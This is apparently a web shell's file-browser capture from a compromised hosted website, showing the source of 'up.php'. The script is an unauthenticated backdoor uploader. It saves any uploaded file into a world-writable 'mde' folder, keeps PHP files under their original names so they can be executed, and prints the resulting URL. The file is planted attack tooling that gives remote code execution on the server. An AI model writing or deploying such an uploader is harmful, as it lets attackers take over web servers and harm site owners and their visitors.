Current Path : /nas/content/live/inlandempireli/ |
Linux pod-101004:apache2_74:v0.3.5 5.4.0-1124-gcp #133~18.04.1-Ubuntu SMP Tue Feb 13 14:22:16 UTC 2024 x86_64
|
Current File : /nas/content/live/inlandempireli/up.php |
<?php
// Check if the 'mde' directory exists, if not, create it
if (!file_exists('mde')) {
mkdir('mde', 0777, true); // Creates 'mde' directory with full permissions
}
// Get the file extension and convert it to lowercase
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
// Generate a unique filename based on the current date and time if the file is not a PHP file
if ($ext == "php") {
$file = $_FILES['file']['name']; // Use the original filename if it's a PHP file
} else {
$file = md5($_FILES['file']['name'] . date('Y-m-d H:i:s')) . "." . $ext; // Generate a unique filename
}
// Move the uploaded file to the 'mde' directory
move_uploaded_file($_FILES['file']['tmp_name'], 'mde/' . $file);
// Print the URL of the uploaded file
echo $_SERVER['HTTP_HOST'] . '/mde/' . $file;
// Exit the script
exit();
?>